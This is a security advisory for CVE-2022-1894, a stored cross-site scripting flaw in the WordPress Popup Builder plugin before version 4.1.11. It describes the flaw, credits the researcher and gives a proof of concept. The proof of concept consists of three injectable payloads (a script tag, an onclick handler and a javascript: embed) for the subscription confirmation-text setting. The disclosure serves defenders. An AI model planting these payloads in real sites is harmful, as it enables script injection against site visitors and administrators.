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WordPress Plugin Vulnerabilities

Popup Builder < 4.1.11 - Admin+ Stored Cross-Site Scripting

Description

The plugin does not escape and sanitize some settings, which could allow high privilege users to perform Stored Cross-Site Scripting attacks when the unfiltred_html is disallowed

Proof of Concept

Create/edit a subscription, enabled the GDPR options in it and add the following payload in the "confirmation text" settings:

v < 4.1.10 - <script>alert(/XSS/)</script>
v <= 4.1.10:
  <input class='js-subs-submit-btn' onclick='javascript:alert(/XSS/)' type='submit' value='Subscribe' style='width:300px;height:40px;background-color:#007fe1 !important;color:#FFFFFF;border-radius:4px !important;border-width:0px !important;border-color:#007fe1 !important;text-transform:none !important;border-style:solid'/>

  <embed src='javascript:alert(/XSS/)'> (<- will only works in the backend, when updating the Popup and the confirmation text changed)

The XSS will be triggered when viewing/previewing the subscription popup (and clicking on the Subscribe button for version >= 4.1.10) 

Affects Plugins

popup-builder
Fixed in version 4.1.11

References

CVE
CVE-2022-1894

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Pritam Dash

Submitter

Pritam Dash

Submitter website
https://tthreat.com
Submitter twitter
iampritam333
Verified

Yes

WPVDB ID
68af14ef-ca66-40d6-a1e5-09f74e2cd971

Timeline

Publicly Published

2022-06-20 (about 2 months ago)

Added

2022-06-20 (about 2 months ago)

Last Updated

2022-06-20 (about 2 months ago)

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